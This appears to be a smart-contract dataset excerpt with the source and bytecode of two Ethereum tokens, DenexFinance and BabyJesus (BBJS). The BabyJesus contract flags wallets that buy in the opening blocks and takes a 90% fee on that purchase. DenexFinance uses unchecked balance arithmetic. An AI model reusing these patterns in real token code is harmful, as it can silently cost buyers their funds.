address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x4084ac87f80483190fba152f783715b06ce20884 | pragma solidity ^0.5.7;
// Official website: https://Denex.Finance
// Official Telegram: https://t.me/DenexFinance
/*
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
/**
* @dev See {IERC20-allowance}.
*/
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
/* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
/* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
/* function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
/* function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/* function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
/* function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
/*function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
/* function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
/* function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
/* function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract DenexFinance {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
// Modify this section
string public name = "DenexFinance";
string public symbol = "DENX";
uint8 public decimals = 0;
uint256 public totalSupply = 25000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
// Initially assign all tokens to the contract's creator.
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea265627a7a72315820e0c8c97dd3d8f4fd607a47c02b354ccf0098695aed482d74fbb26132ecb5ec2764736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,100 |
0x1e6CBb16fCc0b24EcfC4353c6D85F3959329f9fD | /**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
//* t.me/BBJesusToken
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() external view virtual returns (uint8);
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
}
contract BabyJesus is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Jesus";
string private constant _symbol = "BBJS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100 * 1e9 * 1e9; // 100,000,000,000
uint256 private _firstBlock;
uint256 private _notpogBlocks;
uint256 public _maxWalletAmount;
uint256 private _liquidityFee = 20; // divided by 1000
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _marketingFee = 80; // divided by 1000
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _marketingPercent = 1000;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private notpogs;
address payable private _marketingAddress = payable(0x54C1CfDCE6E128382090a22619136c0398284f04);
address payable private _dev = payable(0x2ec954DbE873CbC70dF156E8B4E743Db764a368C);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
bool private trdg = true;
bool private um = true;
bool private pairSwapped = false;
event EndedTrdg(bool trdg);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply
_maxWalletAmount = _tTotal.div(1); // 100%
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override external pure returns (string memory) {
return _name;
}
function symbol() override external pure returns (string memory) {
return _symbol;
}
function decimals() override external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function setNotpogFee() private {
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 900;
_liquidityFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_liquidityFee = _previousLiquidityFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {//buys
if (block.number <= _firstBlock.add(_notpogBlocks)) {
notpogs[to] = true;
}
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
if (notpogs[to]) {
setNotpogFee();
takeFee = true;
}
}
if (!inSwap && from != uniswapV2Pair) { //sells, transfers
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 100000000 * 1e9) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer((amount).div(5).mul(4));
_dev.transfer((amount).div(5).mul(1));
}
function openTrading(uint256 notpogBlocks) private {
_firstBlock = block.number;
_notpogBlocks = notpogBlocks;
tradingOpen = true;
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(1000);
fees.tLiquidity = amount.mul(_liquidityFee).div(1000);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > _tTotal.div(10000), "Amount must be greater than 0.01% of supply");
require(maxTxAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxTxAmount = maxTxAmount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() {
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setTaxes(uint256 marketingFee, uint256 liquidityFee) external onlyOwner() {
uint256 totalFee = marketingFee.add(liquidityFee);
require(totalFee.div(10) < 50, "Sum of fees must be less than 50");
_marketingFee = marketingFee;
_liquidityFee = liquidityFee;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
uint256 totalETHfees = _marketingFee;
_marketingPercent = (_marketingFee.mul(1000)).div(totalETHfees);
emit FeesUpdated(_marketingFee, _liquidityFee);
}
function endTrdg(uint256 notpogBlocks) external onlyOwner() {
require(trdg == true, "done");
trdg = false;
openTrading(notpogBlocks);
emit EndedTrdg(trdg);
}
} | 0x6080604052600436106101185760003560e01c80636c0a24eb116100a0578063c647b20e11610064578063c647b20e14610341578063dd62ed3e14610361578063ec28438a146103a7578063f2fde38b146103c7578063f4293890146103e757600080fd5b80636c0a24eb1461028a57806370a08231146102a05780638da5cb5b146102d657806395d89b41146102f4578063a9059cbb1461032157600080fd5b806327a14fc2116100e757806327a14fc2146101df578063313ce5671461020157806349bd5a5e1461021d57806351bc3c85146102555780635d12d79d1461026a57600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a81526942616279204a6573757360b01b60208201525b604051610160919061159b565b60405180910390f35b34801561017557600080fd5b50610189610184366004611605565b6103fc565b6040519015158152602001610160565b3480156101a557600080fd5b5068056bc75e2d631000005b604051908152602001610160565b3480156101cb57600080fd5b506101896101da366004611631565b610413565b3480156101eb57600080fd5b506101ff6101fa366004611672565b61047c565b005b34801561020d57600080fd5b5060405160098152602001610160565b34801561022957600080fd5b5060115461023d906001600160a01b031681565b6040516001600160a01b039091168152602001610160565b34801561026157600080fd5b506101ff610552565b34801561027657600080fd5b506101ff610285366004611672565b61059e565b34801561029657600080fd5b506101b160075481565b3480156102ac57600080fd5b506101b16102bb36600461168b565b6001600160a01b031660009081526002602052604090205490565b3480156102e257600080fd5b506000546001600160a01b031661023d565b34801561030057600080fd5b5060408051808201909152600481526342424a5360e01b6020820152610153565b34801561032d57600080fd5b5061018961033c366004611605565b61066b565b34801561034d57600080fd5b506101ff61035c3660046116a8565b610678565b34801561036d57600080fd5b506101b161037c3660046116ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b357600080fd5b506101ff6103c2366004611672565b610783565b3480156103d357600080fd5b506101ff6103e236600461168b565b610882565b3480156103f357600080fd5b506101ff61091a565b600061040933848461099d565b5060015b92915050565b6000610420848484610ac1565b610472843361046d856040518060600160405280602881526020016118e1602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ea0565b61099d565b5060019392505050565b6000546001600160a01b031633146104af5760405162461bcd60e51b81526004016104a690611703565b60405180910390fd5b6104c368056bc75e2d6310000060c8610954565b81116105245760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d75737420626520677265617465722074